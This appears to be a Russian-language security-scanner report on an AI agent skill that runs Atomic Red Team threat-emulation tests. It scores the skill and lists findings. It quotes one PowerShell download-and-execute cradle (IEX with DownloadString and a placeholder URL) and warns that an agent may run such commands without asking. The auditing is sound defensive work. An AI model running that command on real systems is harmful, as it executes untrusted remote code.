CC performing-threat-emulation-with-atomic-red-team
Выполняет тесты Atomic Red Team для проверки методов MITRE ATT&CK с использованием Python-фреймворка atomic-operator. Загружает определения тестов из YAML-файлов, запускает симуляции атак и проверяет охват обнаружения. Использовать при тестировании правил обнаружения SIEM, проверке охвата EDR или проведении совместных учений (purple team).
машинный переводПоказать оригиналСкрыть оригинал«Executes Atomic Red Team tests for MITRE ATT&CK technique validation u…»
Executes Atomic Red Team tests for MITRE ATT&CK technique validation using the atomic-operator Python framework. Loads test definitions from YAML atomics, runs attack simulations, and validates detection coverage. Use when testing SIEM detection rules, validating EDR coverage, or conducting purple team exercises.
Выполняет тесты Atomic Red Team для проверки методов MITRE ATT&CK с использованием Python-фреймворка atomic-operator.
Как процесс C 54/100 · Есть пробелы — слабые места: результат и критерий готовности, когда включается, ошибки и развилки
Чем это грозит
Находки средней серьёзности: скорее всего скилл честный, но прочитайте, что именно насторожило сканер.
Ниже описан худший случай для этой категории. Здесь находка средней серьёзности: guard увидел признак, но не доказательство.
Скилл содержит команды, которые удаляют файлы, переписывают диски или исполняют код, скачанный из сети. Агент может выполнить их без вопроса, если считает, что так требует инструкция.
Замените разрушительные команды на безопасные аналоги с подтверждением, ограничьте область действия конкретной папкой и не тяните код через curl | bash: укажите версию и контрольную сумму.
Как улучшить
- Свои кейсы (evals/evals.json, 4–6 реальных запросов с ожидаемыми ответами): тогда полная проверка прогонит именно их, а не черновик от модели.
- spec.yaml с триггерными фразами и утверждениями — контракт поведения для CI; `skilltest init` создаст шаблон.
Находки guard · 7
✓ Критических и высоких находок нет
Средние и низкие: 7
-
средняя Опасные команды
cmd-pipe-to-shellreferences/api-reference.md:31Скачивание и запуск удалённого кода с неизвестного хоста (pipe в shell) (документация security-скилла)IEX (New-Object Net.WebClient).DownloadString('#{url}')security-скилл -
низкая Рискованное назначение
intent-offensive-securityreferences/api-reference.md:1Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)# API Reference: Performing Threat Emulation with Atomic Red Team
-
низкая Рискованное назначение
intent-offensive-securityreferences/api-reference.md:65Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)- Atomic Red Team: https://github.com/redcanaryco/atomic-red-team
-
низкая Рискованное назначение
intent-offensive-securitySKILL.md:3Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение) (в кавычках — упоминание, а не команда)description: 'Executes Atomic Red Team tests for MITRE ATT&CK technique validation
в кавычках -
низкая Рискованное назначение
intent-offensive-securitySKILL.md:48Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)# Performing Threat Emulation with Atomic Red Team
-
низкая Рискованное назначение
intent-offensive-securitySKILL.md:53Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)- When conducting security assessments that involve performing threat emulation with atomic red team
-
низкая Рискованное назначение
intent-offensive-securitySKILL.md:67Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)Use atomic-operator to execute Atomic Red Team tests and validate detection coverage
Просканировано файлов: 4. Улики замаскированы. Пометки в серых чипах объясняют, почему серьёзность понижена.
По спецификации Agent Skills
- заметка
frontmatter-keyнеизвестное поле фронтматтера "domain" - заметка
frontmatter-keyнеизвестное поле фронтматтера "subdomain" - заметка
frontmatter-keyнеизвестное поле фронтматтера "nist_ai_rmf" - заметка
frontmatter-keyнеизвестное поле фронтматтера "atlas_techniques" - заметка
frontmatter-keyнеизвестное поле фронтматтера "d3fend_techniques" - заметка
frontmatter-keyнеизвестное поле фронтматтера "nist_csf" - заметка
frontmatter-keyнеизвестное поле фронтматтера "mitre_attack"
Процессный рейтинг: все десять параметров 54/100
- 0Результат и критерий готовности. Не сказано, что считать результатом
- 0Ошибки и развилки. Линейный процесс без обработки сбоев
- 0Отчётность по ходу. Скилл ничего не сообщает по ходу работы
- 20Когда включается. Не сказано, при каком запросе скилл включается
- 60Инструменты и файлы. Используются инструменты (python), но во frontmatter они не объявлены
- 70Входы и предусловия. Входные данные и предусловия перечислены
- 100Шаги. Шагов: 13
- 100Согласованность. Имя и обязательные поля на месте
- 100Стоимость исполнения. Тело инструкции 388 токенов
- 100Повторный запуск. Изменяющих операций нет
Всё перечисленное измерено по тексту скилла, а не оценено моделью: цифры проверяемы. Вес параметра тем больше, чем чаще из-за него процесс встаёт.
Сигналы качества
- +5В description нет примеров фраз, по которым скилл должен срабатывать
- +4Описание не говорит, когда скилл НЕ применять (ложные срабатывания)
- +3Формат ответа не описан: модель каждый раз решает сама
- -41 справочных файлов, но SKILL.md на них не ссылается: модель их не откроет
- -31 из 1 скриптов не упомянуты в SKILL.md
- +2Инструкции на одном языке
- +3Длина description 314 символов: достаточно сигнала, не съедает бюджет
- +4Структура: 5 заголовков
- +3Пошаговые инструкции: 13 пунктов
- +4Есть примеры (2 блоков кода)
- +1Лицензия указана
База качества 70; замечания lint вычитаются, сигналы прибавляют до 100. Итог: 75.